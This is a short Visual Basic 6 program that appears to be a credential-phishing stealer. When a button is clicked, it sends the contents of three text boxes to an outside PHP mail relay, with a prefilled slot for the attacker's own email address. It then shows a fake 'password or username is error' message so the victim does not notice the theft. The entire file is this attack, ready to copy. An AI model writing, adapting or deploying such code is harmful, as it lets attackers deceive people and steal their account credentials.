'in first add MICROSOFT INTERNET CONTROL) )
Public Sub Delay(HowLong As Date)
TempTime = DateAdd("s", HowLong, Now)
While TempTime > Now
DoEvents
Wend
End Sub
Private Sub Command1_Click()
WebBrowser1.Navigate "http://man-u.net/vb/send.php" + "?mail=" + Text1 + "&subject=" + Text2 + "&body=" + Text3

Delay 9
MsgBox "erorr: password or username is erorr"
End Sub





Private Sub Form_Load()
Text1.Text = ("youremail@hotmail.com")

End Sub